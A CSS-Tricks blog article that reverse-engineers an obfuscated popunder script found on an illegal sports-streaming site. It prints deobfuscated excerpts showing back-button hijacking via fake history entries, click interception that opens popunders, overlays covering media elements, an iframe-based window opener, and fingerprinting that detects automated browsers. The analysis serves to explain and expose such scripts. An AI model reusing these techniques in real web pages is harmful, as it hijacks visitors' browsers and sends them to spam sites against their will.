Anatomy of a malicious script: how a website can take over your browser
Publikováno: 13.7.2018
By now, we all know that the major tech behemoths like Facebook or Google know everything about our lives, including how often we go to the bathroom (hence all the prostate medication ads that keep popping up, even on reputable news sites). After all, we’ve given them permission to do so, by reading pages and pages of legalese in their T&C pages (we all did, didn’t we?) and clicking on the "Accept" button.
But what can a site do to …
The post Anatomy of a malicious script: how a website can take over your browser appeared first on CSS-Tricks.
By now, we all know that the major tech behemoths like Facebook or Google know everything about our lives, including how often we go to the bathroom (hence all the prostate medication ads that keep popping up, even on reputable news sites). After all, we’ve given them permission to do so, by reading pages and pages of legalese in their T&C pages (we all did, didn’t we?) and clicking on the "Accept" button.
But what can a site do to you, or to your device, without your explicit consent? What happens when you visit a slightly "improper" site, or a "proper" site you visited includes some third-party script that hasn’t been thoroughly checked?
Has it ever happened to you that your browser gets hijacked and innumerable pop-ups come up, and you seem to be unable to close them without quitting the browser altogether, or clicking 25 times on the "Back" button? You do feel in danger when that happens, don’t you?
Following input from Chris here at CSS-Tricks, I decided to look for a script that does exactly that, and see what happens under the hood. It looked like a fairly daunting task, but I’ve learned quite a few things from it, and in the end had a lot of fun doing it. I hope I can share some of the fun with you.
The hunt for the script
The idea was to look for, to quote Chris, "bits of JavaScript that do surprisingly scary things."
The first thing I did was to set up a Virtual Machine with Virtual Box on my main Ubuntu development PC. This way, if the sites I visited and the scripts contained therein tried to do something scary to my computer, I would just need to erase the VM without compromising my precious laptop. I installed the latest version of Ubuntu on the VM, opened the browser and went hunting.
One of the things I was looking for was uses of a variation of the infamous Evercookie (aka "undeletable cookie") which would be a clear sign of shady tracking techniques.
Where to look for such a script? I tried to find one of the aforementioned intrusive ads on legitimate websites, but couldn’t find any. It seems that companies supplying ads have become much better in spotting suspicious scripts by automating the vetting process, I assume.
I tried some reputable news sites, to see if there was anything interesting, but all I found were tons and tons of standard tracking scripts (and JavaScript errors in the console logs). In these cases, most of what the scripts do is send data to a server, and since you have little way of knowing what the server’s actually doing with the data, it would have been very difficult to dissect them.
I then thought that the best place to look for "scary" stuff would be sites whose owners won’t risk a legal action if they do something "scary" to their users. Which means, basically, sites where the user is trying to do something bordering on the illegal to begin with.
I looked at some Pirate Bay proxies, with no luck. Then I decided to move over to sites offering links to illegal streaming of sporting events. I went through a couple of sites, looking carefully at the scripts they included with Chromium’s DevTools.
On a site offering, amongst others, illegal streaming of table tennis matches, I noticed (in the list of JavaScripts in the DevTools Network tab) amongst third-party libraries, standard UI scripts and the all-too-frequent duplicate inclusion of the Google Analytics library (ouch!), a strangely named script with no .js extension and just a number as an URL.
I had a look at the seemingly infinite couple of lines of obfuscated code that constituted most of the script’s code, and found strings like chromePDFPopunderNew
, adblockPopup
, flashFileUrl
, escaped <script>
tags, and even a string containing an inline PDF. This looked like interesting stuff. The hunt was over! I downloaded the script to my computer, and started trying to make some sense of it.
I am not explicitly disclosing the domains involved in this operation, since we’re interested in the sin here, not the sinner. However, I’ve deliberately left a way of determining at least the main URL the script is sending users to. If you manage to solve the riddle, send me a private message, and I’ll tell you if you guessed right!
The script: deobfuscating and figuring out the configuration parameters
What the script looks like
The script is obfuscated, both for security purposes and to ensure a faster download. It is made of a big IIFE (Immediately-invoked function expression), which is a technique used to isolate a piece of JavaScript code from its surroundings. Context doesn’t get mixed up with other scripts, and there is no risk of namespace conflict between function or variable names in different scripts.
Here’s the beginning of the script. Note the beginning of the base64-encoded PDF on the last line:
And here’s the end of it:
The only action carried out in the global context, apparently, is to set the global variable zfgloadedpopup
to true, presumably to tell other scripts belonging to the same "family" that this one has already been loaded. This variable is used only once, so the script itself does not check if it has loaded. So, if the site you’re visiting includes it twice by mistake, you’ll get double the pop-ups at the same price. Lucky!
The big IFEE expects two parameters, called options
and lary
. I actually checked the name of the second parameter to see what it might mean, and the only meaning I found was "aggressive, antisocial" in British slang. "So, we’re being aggressive here," I thought. "Interesting."
Theoptions
parameter is clearly an object with keys and values, even though they’re totally unintelligible. The lary
parameter is a string of some sort. To make sense of this, the only option was to deobfuscate the whole script. Keep reading, and everything will be explained.
Deobfuscating the script
I first tried to resort to existing tools, but none of the online tools available seemed to be doing what I expected them to do. Most of what they did was pretty-printing the code, which my IDE can do quite easily by itself. I read about JSDetox, which is actual computer software and should be very helpful to debug this kind of script. However, I tried to install it into two different versions of Ubuntu and ended up in Ruby GEM dependency hell in both cases. JSDetox is fairly old, and I guess it’s practically abandonware now. The only option left was to go through things mostly by hand or via manual or semi-automated Regular Expression substitutions. I had to go through several steps to fully decipher the script.
Here is an animated GIF showing the same code section at various stages of deciphering:
The first step was quite straightforward: it required reformatting the code of the script, to add spacing and line breaks. I was left with properly indented code, but it was still full of very unreadable stuff, like the following:
var w6D0 = window;
for (var Z0 in w6D0) {
if (Z0.length === ((129.70E1, 0x1D2) < 1.237E3 ? (47, 9) : (0x1CE, 1.025E3) < (3.570E2, 122.) ? (12.9E1, true) : (5E0, 99.) > 0x247 ? true : (120.7E1, 0x190)) && Z0.charCodeAt((0x19D > (0x199, 1.5E1) ? (88., 6) : (57., 0x1D9))) === (121.30E1 > (1.23E2, 42) ? (45.2E1, 116) : (129., 85) > (87., 5.7E2) ? (45.1E1, 0x4) : (103., 0x146) >= (0x17D, 6.19E2) ? (1.244E3, 80) : (1.295E3, 149.)) && Z0.charCodeAt(((1.217E3, 90.10E1) <= (0xC2, 128.) ? (66, 'sw') : (0x25, 0xAB) > 1.26E2 ? (134, 8) : (2.59E2, 0x12) > 0xA9 ? 'sw' : (0x202, 0x20F))) === ((95, 15) <= 63 ? (0x10B, 114) : (0xBB, 8.72E2) <= (62, 51.) ? 'r' : (25, 70.) >= (110.4E1, 0x8D) ? (121, 72) : (42, 11)) && Z0.charCodeAt(((96.80E1, 4.7E1) >= 62. ? (25.70E1, 46) : 0x13D < (1.73E2, 133.1E1) ? (0x1A4, 4) : (28, 0x1EE) <= 36.30E1 ? 37 : (14.61E2, 0x152))) === (81. > (0x1FA, 34) ? (146, 103) : (0x8A, 61)) && Z0.charCodeAt(((92.60E1, 137.6E1) > (0x8, 0x3F) ? (123., 0) : (1.41E2, 12.11E2))) === ((0xA, 0x80) > (19, 2.17E2) ? '' : (52, 0x140) > (80., 0x8E) ? (42, 110) : 83.2E1 <= (0x69, 0x166) ? (41., 'G') : (6.57E2, 1.093E3))) break
}
;
What is this code doing? The only solution was to try and execute the code in a console and see what happened. As it turns out, this code loops through all ofwindow
’s properties and breaks out of the loop when that very complicated condition makes a match. The end result is sort of funny because all the code above does is the following:
var Z0 = 'navigator'
…that is, saving the navigator
property of window
to a variable called Z0
. This is indeed a lot of effort just to assign a variable! There were several variables obfuscated like this, and after a few rounds of execution in the console, I managed to obtain the following global variables:
var Z0 = 'navigator';
var Q0 = 'history';
var h0 = 'window'; // see comment below
/* Window has already been declared as w6D0. This is used to call the Window object of a variable containing a reference to a different window, other than the current one */
The same could be applied to several other global variables declared at the beginning of the script. This whole shenanigan seemed a bit silly to me, since many other variables in the script are declared more openly a few lines later, like these:
var m7W = {'K2': 'documentElement',
'W0': 'navigator',
'A2': 'userAgent',
'o2': 'document'};
But never mind. After this procedure, I was left with a series of variables that are global to the script and are used all over it.
Time for some mass substitutions. I substituted the w6D0
variable with window
everywhere then proceeded with the other global variables.
Remember the variable h0
above? It’s everywhere, used in statements like the following:
if (typeof w6D0[h0][H8] == M3) {
...which, after substitution, became:
if (typeof window['window'][H8] == M3) {
This is not much clearer than before, but still is a small step ahead from where I started. Similarly, the following line:
var p = w6D0[X0][H](d3);
...became this:
var p = window["document"][H](d3);
In the obfuscation technique used for this script, the names of variables that are local to a function are usually substituted with names with a single letter, like this:
function D9(O, i, p, h, j) {
var Q = 'newWin.opener = null;', Z = 'window.parent = null;', u = ' = newWin;', N = 'window.parent.',
w = '' + atob('Ig==') + ');', g = '' + atob('Ig==') + ', ' + atob('Ig==') + '',
f = 'var newWin = window.open(' + atob('Ig==') + '', d = 'window.frameElement = null;',
k = 'window.top = null;', r = 'text', l = 'newWin_', F = 'contentWindow', O9 = 'new_popup_window_',
I = 'disableSafeOpen', i9 = e['indexOf']('MSIE') !== -'1';
// more function code here
}
Most global variables names, however, have been substituted with names with multiple letters, and all these names are unique. This means that it was possible for me to substitute them globally all over the script.
There was another big bunch of global variables:
var W8 = 'plugins', f7 = 'startTimeout', z1 = 'attachEvent', b7 = 'mousemove', M1 = 'noScrollPlease',
w7 = 'isOnclickDisabledInKnownWebView', a1 = 'notificationsUrl', g7 = 'notificationEnable', m8 = 'sliderUrl',
T8 = 'interstitialUrl', v7 = '__interstitialInited', C8 = '%22%3E%3C%2Fscript%3E',
O8 = '%3Cscript%20defer%20async%20src%3D%22', i8 = 'loading', p8 = 'readyState', y7 = '__pushupInited',
o8 = 'pushupUrl', G7 = 'mahClicks', x7 = 'onClickTrigger', J7 = 'p', r7 = 'ppu_overlay', d7 = 'PPFLSH',
I1 = 'function', H7 = 'clicksSinceLastPpu', k7 = 'clicksSinceSessionStart', s7 = 'lastPpu', l7 = 'ppuCount',
t7 = 'seriesStart', e7 = 2592000000, z7 = 'call', Y1 = '__test', M7 = 'hostname', F1 = 'host',
a7 = '__PPU_SESSION_ON_DOMAIN', I7 = 'pathname', Y7 = '__PPU_SESSION', F7 = 'pomc', V7 = 'ActiveXObject',
q7 = 'ActiveXObject', c7 = 'iOSClickFix',
m7 = 10802, D8 = 'screen',
// ... and many more
I substituted all of those as well, with an automated script, and many of the functions became more intelligible. Some even became perfectly understandable without further work. A function, for example, went from this:
function a3() {
var W = E;
if (typeof window['window'][H8] == M3) {
W = window['window'][H8];
} else {
if (window["document"][m7W.K2] && window["document"][m7W.K2][q5]) {
W = window["document"][m7W.K2][q5];
} else {
if (window["document"][z] && window["document"][z][q5]) {
W = window["document"][z][q5];
}
}
}
return W;
}
...to this:
function a3() {
var W = 0;
if (typeof window['window']['innerWidth'] == 'number') {
W = window['window']['innerWidth'];
} else {
if (window["document"]['documentElement'] && window["document"]['documentElement']['clientWidth']) {
W = window["document"]['documentElement']['clientWidth'];
} else {
if (window["document"]['body'] && window["document"]['body']['clientWidth']) {
W = window["document"]['body']['clientWidth'];
}
}
}
return W;
}
As you can see, this function tries to determine the width of the client window, using all available cross-browser options. This might seem a bit overkill, since window.innerWidth
is supported by all browsers starting from IE9.
window.document.documentElement.clientWidth
, however, works even in IE6; this shows us that our script tries to be as cross-browser compatible as it can be. We’ll see more about this later.
Notice how, to encrypt all of the property and function names used, this script makes heavy use of bracket notation, for example:
window["document"]['documentElement']['clientWidth']
...instead of:
window.document.documentElement.clientWidth
This allows the script to substitute the name of object methods and properties with random strings, which are then defined once — at the beginning of the script — with the proper method or property name. This makes the code very difficult to read, since you have to reverse all of the substitutions. It is obviously not only an obfuscation technique, however, since substituting long property names with one or two letters, if they occur often, can save quite a few bytes on the overall file size of the script and thus make it download faster.
The end result of the last series of substitutions I performed made the code even clearer, but I was still left with a very long script with a lot of functions with unintelligible names, like this one:
function k9(W, O) {
var i = 0, p = [], h;
while (i < W.length) {
h = O(W[i], i, W);
if (h !== undefined) {
p['push'](h);
}
i += '1';
}
return p;
}
All of them have variable declarations at the beginning of each function, most likely the result of the obfuscation/compression technique used on the original code. It is also possible that the writer(s) of this code were very scrupulous and declared all variables at the beginning of each function, but I have some doubts about that.
The k9
function above is used diffusely in the script, so it was among the first I had to tackle. It expects two arguments, W
and O
and prepares a return variable (p
) initialized as an empty array as well as a temporary variable (h
).
Then it cycles throughW
with a while
loop:
while (i < W.length) {
This tells us that the W
argument will be an array, or at least something traversable like an object or a string. It then supplies the current element in the loop, the current index of the loop, and the whole W
argument as parameters to the initialO
argument, which tells us the latter will be a function of some sort. It stores the result of the function’s execution in the temporary variableh
:
h = O(W[i], i, W);
If the result of this function is not undefined
, it gets appended to the result array p
:
if (h !== undefined) {
p['push'](h);
}
The returned variable is p
.
What kind of construct is this? It’s obviously a mapping/filter function but is not just mapping the initial object W
, since it does not return all of its values, but rather selects some of them. It is also not only filtering them, because it does not simply check for true
or false
and return the original element. It is sort of a hybrid of both.
I had to rename this function, just like I did with most of the others, giving a name that was easy to understand and explained the purpose of the function.
Since this function is usually used in the script to transform the original object W
in one way or another, I decided to rename it mapByFunction
. Here it is, in its un-obfuscated glory:
function mapByFunction(myObject, mappingFunction) {
var i = 0, result = [], h;
while (i < myObject.length) {
h = mappingFunction(myObject[i], i, myObject);
if (h !== undefined) {
result['push'](h);
}
i += 1;
}
return result;
}
A similar procedure had to be applied to all of the functions in the script, trying to guess one by one what they were trying to achieve, what variables were passed to them and what they were returning. In many cases, this involved going back and forth in the code when one function I was deciphering was using another function I hadn’t deciphered yet.
Some other functions were nested inside others, because they were used only in the context of the enclosing function, or because they were part of some third-party piece of code that had been pasted verbatim within the script.
At the end of all this tedious work, I had a big script full of fairly intelligible functions, all with nice descriptive (albeit very long) names.
Here are some of the names, from the Structure panel of my IDE:
Now that the functions have names, you can start guessing a few of the things this script is doing. Would any of you like to try to injectPDFAndDoStuffDependingOnChromeVersion
in someone’s browser now?
Structure of the script
Once the individual functions comprising the script had been deciphered, I tried to make a sense of the whole.
The script at the beginning is made out of a lot of helper functions, which often call other functions, and sometimes set variables in the global scope (yuck!). Then the main logic of the script begins, around line 1,680 of my un-obfuscated version.
The script can behave very differently depending on the configuration that gets passed to it: a lot of functions check one or several parameters in the mainoptions
argument, like this:
if (options['disableSafeOpen'] || notMSIE) {
// code here
}
Or like this:
if (!options['disableChromePDFPopunderEventPropagation']) {
p['target']['click']();
}
But the options
argument, if you remember, is encrypted. So the next thing to do was to decipher it.
Decrypting the configuration parameters
At the very beginning of the script’s main code, there’s this call:
// decode options;
if (typeof options === 'string') {
options = decodeOptions(options, lary);
}
decodeOptions
is the name I gave to the function that performs the job. It was originally given the humble name g4
.
Finally, we’re also using the mysteriouslary
argument, whose value is:
"abcdefghijklmnopqrstuvwxyz0123456789y90x4wa5kq72rftj3iepv61lgdmhbn8ouczs"
The first half of the string is clearly the alphabet in lower letters, followed by numbers 0 through 9. The second half consists of random characters. Does that look like a cypher to you? If your answer is yes, you are damn right. It is, in fact, a simple substitution cypher, with a little twist.
The whole decodeOptions
function looks like this:
function decodeOptions(Options, lary) {
var p = ')',
h = '(',
halfLaryLength = lary.length / 2,
firstHalfOfLary = lary['substr'](0, halfLaryLength),
secondHalfOfLary = lary['substr'](halfLaryLength),
w,
// decrypts the option string before JSON parsing it
g = mapByFunction(Options, function (W) {
w = secondHalfOfLary['indexOf'](W);
return w !== -1 ? firstHalfOfLary[w] : W;
})['join']('');
if (window['JSON'] && window['JSON']['parse']) {
try {
return window['JSON']['parse'](g);
} catch (W) {
return eval(h + g + p);
}
}
return eval(h + g + p);
}
It first sets a couple of variables containing opening and closing parentheses, which will be used later:
var p = ')',
h = '(',
Then it splits our lary
argument in half:
halfLaryLength = lary.length / 2,
firstHalfOfLary = lary['substr'](0, halfLaryLength),
secondHalfOfLary = lary['substr'](halfLaryLength),
Next, It maps the Options
string, letter by letter, with this function:
function (W) {
w = secondHalfOfLary['indexOf'](W);
return w !== -1 ? firstHalfOfLary[w] : W;
}
If the current letter is present in the second half of the lary
argument, it returns the corresponding letter in the lower-case alphabet in the first part of the same argument. Otherwise, it returns the current letter, unchanged. This means that the options parameter is only half encrypted, so to say.
Once the mapping has taken place, the resulting array of decrypted letters g
(remember, mapByFunction
always returns an array) is then converted again to a string:
g['join']('')
The configuration is initially a JSON object, so the script tries to use the browser’s native JSON.parse function to turn it into an object literal. If the JSON object is not available (IE7 or lower, Firefox and Safari 3 or lower), it resorts to putting it between parentheses and evaluating it:
if (window['JSON'] && window['JSON']['parse']) {
try {
return window['JSON']['parse'](g);
} catch (W) {
return eval(h + g + p);
}
}
return eval(h + g + p);
This is another case of the script being extremely cross-browser compatible, to the point of supporting browsers that are more than 10 years old. I’ll try and explain why in a while.
So, now the options
variable has been decrypted. Here it is in all its deciphered splendour, albeit with the original URLs omitted:
let options = {
SS: true,
adblockPopup: true,
adblockPopupLink: null,
adblockPopupTimeout: null,
addOverlay: false,
addOverlayOnMedia: true,
aggressive: false,
backClickAd: false,
backClickNoHistoryOnly: false,
backClickZone: null,
chromePDFPopunder: false,
chromePDFPopunderNew: false,
clickAnywhere: true,
desktopChromeFixPopunder: false,
desktopPopunderEverywhere: false,
desktopPopunderEverywhereLinks: false,
disableChromePDFPopunderEventPropagation: false,
disableOnMedia: false,
disableOpenViaMobilePopunderAndFollowLinks: false,
disableOpenViaMobilePopunderAndPropagateEvents: false,
disablePerforamnceCompletely: false,
dontFollowLink: false,
excludes: [],
excludesOpenInPopunder: false,
excludesOpenInPopunderCapping: null,
expiresBackClick: null,
getOutFromIframe: false,
iOSChromeSwapPopunder: false,
iOSClickFix: true,
iframeTimeout: 30000,
imageToTrackPerformanceOn: "", /* URL OMITTED */
includes: [],
interstitialUrl: "", /* URL OMITTED */
isOnclickDisabledInKnownWebView: false,
limLo: false,
mahClicks: true,
mobilePopUpTargetBlankLinks: false,
mobilePopunderTargetBlankLinks: false,
notificationEnable: false,
openPopsWhenInIframe: false,
openViaDesktopPopunder: false,
openViaMobilePopunderAndPropagateFormSubmit: false,
partner: "pa",
performanceUrl: "", /* URL OMITTED */
pomc: false,
popupThroughAboutBlankForAdBlock: false,
popupWithoutPropagationAnywhere: false,
ppuClicks: 0,
ppuQnty: 3,
ppuTimeout: 25,
prefetch: "",
resetCounters: false,
retargetingFrameUrl: "",
scripts: [],
sessionClicks: 0,
sessionTimeout: 1440,
smartOverlay: true,
smartOverlayMinHeight: 100,
smartOverlayMinWidth: 450,
startClicks: 0,
startTimeout: 0,
url: "", /* URL OMITTED */
waitForIframe: true,
zIndex: 2000,
zoneId: 1628975
}
I found the fact that there is an aggressive
option very interesting, even though this option is unfortunately not used in the code. Given all the things this script does to your browser, I was very curious what it would have done had it been more "aggressive."
Not all of the options passed to the script are actually used in the script; and not all of the options the script checks are present in the options
argument passed in this version of it. I assume that some of the options that are not present in the script’s configuration are used in versions deployed onto other sites, especially for cases in which this script is used on multiple domains. Some options might also be there for legacy reasons and are simply not in use anymore. The script has some empty functions left in, which likely used some of the missing options.
What does the script actually do?
Just by reading the name of the options above, you can guess a lot of what this script does: it will open a smartOverlay
, even using a special adblockPopup
. If you clickAnywhere
, it will open a url
. In our specific version of the script, it will not openPopsWhenInIframe
, and it will not getOutFromIframe
, even though it will apply an iOSClickFix
. It will count popups and save the value in ppuCount
, and even track performance using an imageToTrackPerformanceOn
(which I can tell you, even if I omitted the URL, is hosted on a CDN). It will track ppuClicks
(pop up clicks, I guess), and cautiously limit itself to a ppuQnty
(likely a pop up quantity).
By reading the code, I could find out a lot more, obviously. Let’s see what the script does and follow its logic. I will try to describe all of the interesting things it can do, including those that are not triggered by the set of options I was able to decipher.
The main purpose of this script is to direct the user to a URL that is stored in its configuration as options['url']
. The URL in the configuration I found redirected me to a very spammy website, so I will refer to this this URL as Spammy Site from now on, for the sake of clarity.
1. I want to get out of this iFrame!
The first thing this script does is try to get a reference to the top window if the script itself is run from within in an iFrame and, if the current configuration requires it, sets that as the main window on which to operate, and sets all reference to the document element and user agent to those of the top window:
if (options['getOutFromIframe'] && iframeStatus === 'InIframeCanExit') {
while (myWindow !== myWindow.top) {
myWindow = myWindow.top;
}
myDocument = myWindow['document'];
myDocumentElement = myWindow['document']['documentElement'];
myUserAgent = myWindow['navigator']['userAgent'];
}
2. What’s your browser of choice?
The second thing it does is a very minute detection of the current browser, browser version and operating system by parsing the user agent string. It detects if the user is using Chrome and its specific version, Firefox, Firefox for Android, UC Browser, Opera Mini, Yandex, or if the user is using the Facebook app. Some checks are very specific:
isYandexBrowser = /YaBrowser/['test'](myUserAgent),
isChromeNotYandex = chromeVersion && !isYandexBrowser,
We’ll see why later.
3. All your browser are belong to us.
The first disturbing thing the script does is check for the presence of the history.pushState()
function, and if it is present, the script injects a fake history entry with the current url’s title. This allows it to intercept back click events (using the popstate
event) and send the user to the Spammy Site instead of the previous page the user actually visited. If it hadn’t added a fake history entry first, this technique would not work.
function addBackClickAd(options) {
if (options['backClickAd'] && options['backClickZone'] && typeof window['history']['pushState'] === 'function') {
if (options['backClickNoHistoryOnly'] && window['history'].length > 1) {
return false;
}
// pushes a fake history state with the current doc title
window['history']['pushState']({exp: Math['random']()}, document['title'], null);
var createdAnchor = document['createElement']('a');
createdAnchor['href'] = options['url'];
var newURL = 'http://' + createdAnchor['host'] + '/afu.php?zoneid=' + options['backClickZone'] + '&var=' + options['zoneId'];
setTimeout(function () {
window['addEventListener']('popstate', function (W) {
window['location']['replace'](newURL);
});
}, 0);
}
}
This technique is used only outside the context of an iFrame, and not on Chrome iOS and UC Browser.
4. This browser needs more scripts
If one malicious script was not enough, the script tries to inject more scripts, depending on the configuration. All scripts are appended to the <head>
of the document, and may include something that is called either an Interstitial, a Slider, or a Pushup, all of which I assume are several forms of intrusive ads that get shown to the browser. I could not find out because, in our script’s case, the configuration did not contain any of those, apart from one which was a dead URL when I checked it.
5. Attack of the click interceptor
Next, the script attaches a "click interceptor" function to all types of click events on the document, including touch events on mobile. This function intercepts all user clicks or taps on the document, and proceeds to open different types of pop-ups, using different techniques depending on the device.
In some cases it tries to open a "popunder." This means that it intercepts any click on a link, reads the original link destination, opens that link in the current window, and opens a new window with the Spammy Site in it at the same time. In most cases, it proceeds to restore focus to the original window, instead of the new window it has created. I think this is meant to circumvent some browser security measures that check if something is changing URLs the user has actually clicked. The user will then find themselves with the correct link open, but with another tab with the Spammy Site in it, which the user will sooner or later see when changing tabs.
In other cases, the script does the opposite and opens a new window with the link the user has clicked on, but changes the current window’s URL to that of the Spammy Site.
To do all this, the script has different functions for different browsers, each presumably written to circumvent the security measures of each browser, including AdBlock if it is present. Here is some of the code doing this to give you an an idea:
if (options['openPopsWhenInIframe'] && iframeStatus === 'InIframeCanNotExit') {
if (isIphoneIpadIpod && (V || p9)) {
return openPopunder(W);
}
return interceptEventAndOpenPopup(W);
}
if (options['adblockPopup'] && currentScriptIsApuAfuPHP) {
return createLinkAndTriggerClick(options['adblockPopupLink'], options['adblockPopupTimeout']);
}
if (options['popupThroughAboutBlankForAdBlock'] && currentScriptIsApuAfuPHP) {
return openPopup();
}
if (!isIphoneIpadIpodOrAndroid && (options['openViaDesktopPopunder'] || t)) {
if (isChromeNotYandex && chromeVersion > 40) {
return injectPDFAndDoStuffDependingOnChromeVersion(W);
}
if (isSafari) {
return openPopupAndBlank(W);
}
if (isYandexBrowser) {
return startMobilePopunder(W, I);
}
}
/* THERE ARE SEVERAL MORE LINES OF THIS KIND OF CODE */
To give you an example of a browser-specific behavior, the script opens a new window with the Spammy Site in it on Safari for Mac, immediately opens a blank window, gives that focus and then immediately closes it:
function openPopupAndBlank(W) {
var O = 'about:blank';
W['preventDefault']();
// opens popup with options URL
safeOpen(
options['url'],
'ppu' + new Date()['getTime'](),
['scrollbars=1', 'location=1', 'statusbar=1', 'menubar=0', 'resizable=1', 'top=0', 'left=0', 'width=' + window['screen']['availWidth'], 'height=' + window['screen']['availHeight']]['join'](','),
document,
function () {
return window['open'](options['url']);
}
);
// opens blank window, gives it focuses and closes it (??)
var i = window['window']['open'](O);
i['focus']();
i['close']();
}
After setting up click interception, it creates a series of "smartOverlays." These are layers using transparent GIFs for a background image, which are positioned above each of the <object>
, <iframe>
, <embed>
, <video>
and <audio>
tags that are present in the original document, and cover them completely. This is meant to intercept all clicks on any media content and trigger the click interceptor function instead:
if (options['smartOverlay']) {
var f = [];
(function d() {
var Z = 750,
affectedTags = 'object, iframe, embed, video, audio';
mapByFunction(f, function (W) {
if (W['parentNode']) {
W['parentNode']['removeChild'](W);
}
});
f = mapByFunction(safeQuerySelectorAll(affectedTags), function (W) {
var O = 'px'
if (!checkClickedElementTag(W, true)) {
return;
}
if (flashPopupId && W['className'] === flashPopupId) {
return;
}
if (options['smartOverlayMinWidth'] <= W['offsetWidth'] && options['smartOverlayMinHeight'] <= W['offsetHeight']) {
var Q = getElementTopAndLeftPosition(W);
return createNewDivWithGifBackgroundAndCloneStylesFromInput({
left: Q['left'] + O,
top: Q.top + O,
height: W['offsetHeight'] + O,
width: W['offsetWidth'] + O,
position: 'absolute'
});
}
});
popupTimeOut2 = setTimeout(d, Z);
})();
}
This way, the script is able to even intercept clicks on media objects that might not trigger standard "click" behaviors in JavaScript.
The script tries to do another couple of strange things. For example, on mobile devices, it tries to scan for links that point to a blank window and attempts to intercept them with a custom function. The function even temporarily manipulates the rel
attribute of the links and sets it to a value of 'noopener noreferer'
before opening the new window. It is a strange thing to do since this is supposedly a security measure for some older browsers. The idea may have been to avoid performance hits to the main page if the Spammy Site consumes too many resources and clogs the original page (something Jake Archibald explains here). However, this technique is used exclusively in this function and nowhere else, making it is a bit of a mystery to me.
The other strange thing the script does is to try and create a new window and add an iFrame with a PDF string as its source. This new window is immediately positioned off screen and the PDF iFrame is removed in case of a change of focus or visibility of the page. In some cases, only after the PDF has been removed does the script redirect to the Spammy Site. This feature seems to only target Chrome and I haven’t been able to determine whether the PDF is malicious or not.
6. Tell me more about yourself
Lastly, the script proceeds to collect a lot of information about the browser, which will be appended to the URL of the Spammy Site. It checks the following:
- if Flash is installed
- the width and height of the screen, the current window, and the window’s position in respect to the screen
- the number of iFrames in the top window
- the current URL of the page
- if the browser has plugins installed
- if the browser is PhantomJs or Selenium WebDriver (presumably to check if the site is currently being visited by an automated browser of some sort, and probably do something less scary than usual since automated browsers are likely to be used by companies producing anti-virus software, or law enforcement agencies)
- if the browser supports the
sendBeacon
method of theNavigator
object - if the browser supports geolocation
- if the script is currently running in an iFrame
It then adds these values to the Spammy Site’s URL, each encoded with its own variable. The Spammy Site will obviously use the information to resize its content according to the size of the browser window, and presumably also to adjust the level of the content’s maliciousness depending on whether the browser is highly vulnerable (for example, it has Flash installed) or is possibly an anti-spam bot (if it is detected as being an automated browser).
After this, the script is done. It does quite a few interesting things, doesn’t it?
Techniques and cross-browser compatibility
Let’s look at a few of techniques the script generally uses and why it needs them.
Browser detection
When writing code for the web, avoiding browser detection is typically accepted as a best practice because it is an error-prone technique: user agent strings are very complicated to parse and they can change with time as new browsers are released. I personally avoid browser detection on my projects like the plague.
In this case, however, correct browser detection can mean the success or failure of opening the Spammy Site on the user’s computer. This is the reason why the script tries to detect the browser and OS as carefully as it can.
Browser compatibility
For the same reasons, the script uses a lot of cross-browser techniques to maximize compatibility. This might be a result of a very old script which has been updated many times over the years, while keeping all of the legacy code intact. But it might also be a case of trying to keep the script compatible with as many browsers as possible.
After all, for people who are possibly trying to install malware on unsuspecting users, a user who is browsing the web with a very outdated browser or even a newer browser with outdated plug-ins is much more vulnerable to attacks and is certainly a great find!
One example is the function the script uses to open new windows in all other functions, which I’ve renamed safeOpen
:
// SAFE OPEN FOR MSIE
function safeOpen(URLtoOpen, popupname, windowOptions, myDocument, windowOpenerFunction) {
var notMSIE = myUserAgent['indexOf']('MSIE') !== -1;
if (options['disableSafeOpen'] || notMSIE) {
var W9 = windowOpenerFunction();
if (W9) {
try {
W9['opener']['focus']();
} catch (W) {
}
W9['opener'] = null;
}
return W9;
} else {
var t, c, V;
if (popupname === '' || popupname == null) {
popupname = 'new_popup_window_' + new Date()['getTime']();
}
t = myDocument['createElement']('iframe');
t['style']['display'] = 'none';
myDocument['body']['appendChild'](t);
c = t['contentWindow']['document'];
var p9 = 'newWin_' + new Date()['getTime']();
V = c['createElement']('script');
V['type'] = 'text/javascript';
V['text'] = [
'window.top = null;',
'window.frameElement = null;',
'var newWin = window.open(' + atob('Ig==') + '' + URLtoOpen + '' + atob('Ig==') + ', ' + atob('Ig==') + '' + popupname + '' + atob('Ig==') + ', ' + atob('Ig==') + '' + windowOptions + '' + atob('Ig==') + ');',
'window.parent.' + p9 + ' = newWin;',
'window.parent = null;',
'newWin.opener = null;'
]['join']('');
c['body']['appendChild'](V);
myDocument['body']['removeChild'](t);
return window[p9];
}
}
Every time this function is called, it is passes another function to run that opens a new window (it is the last argument passed to the function above, called windowOpenerFunction
). This function is customized in each call depending on the specific need of the current use case. However, if the script detects that it’s running on Internet Explorer, and the disableSafeOpen
option is not set to true, then it resorts to a fairly convoluted method to open the window using the other parameters (URLtoOpen
, popupname
, windowOptions
, myDocument)
instead of using the windowOpenerFunction
function to open the new window. It creates an iFrame, inserts it into the current document, then adds a JavaScript script node to that iFrame, which opens the new window. Finally, it removes the iFrame that it just created.
Catching all exceptions
Another way this script always stays on the safe side is to catch exceptions, in fear that they will cause errors that might block JavaScript execution. Every time it calls a function or method that is not 100% safe on all browsers, it does so by passing it through a function that catches exceptions (and handles them if passed a handler, even though I haven’t spotted a use case where the exception handler is actually passed). I’ve renamed the original function tryFunctionCatchException
, but it could have easily been called safeExecute
:
function tryFunctionCatchException(mainFunction, exceptionHandler) {
try {
return mainFunction();
} catch (exception) {
if (exceptionHandler) {
return exceptionHandler(exception);
}
}
}
Where does this script lead?
As you’ve seen, the script is configurable to redirect the user to a specific URL (the Spammy Site) which must be compiled in the semi-encrypted option for each individual version of this script that is deployed. This means the Spammy Site can be different for every instance of this script. In our case, the target site was some sort of Ad Server serving different pages, presumably based on an auction (the URL contained a parameter called auction_id
).
When I first followed the link, it redirected me to what indeed was a very spammy site: it was advertising get-rich-quick schemes based on online trading, complete with pictures of a guy sitting in what was implied to be the new Lamborghini he purchased by getting rich with said scheme. The target site even used the Evercookie cookie to track users.
I recently re-ran the URL a few times, and it has redirected me to:
- a landing page belonging to a famous online betting company (which has been the official sponsor of at least one European Champions League finalist), complete with the usual "free betting credit"
- several fake news sites, in Italian and in French
- sites advertising "easy" weight-loss programs
- sites advertising online cryptocurrency trading
Conclusion
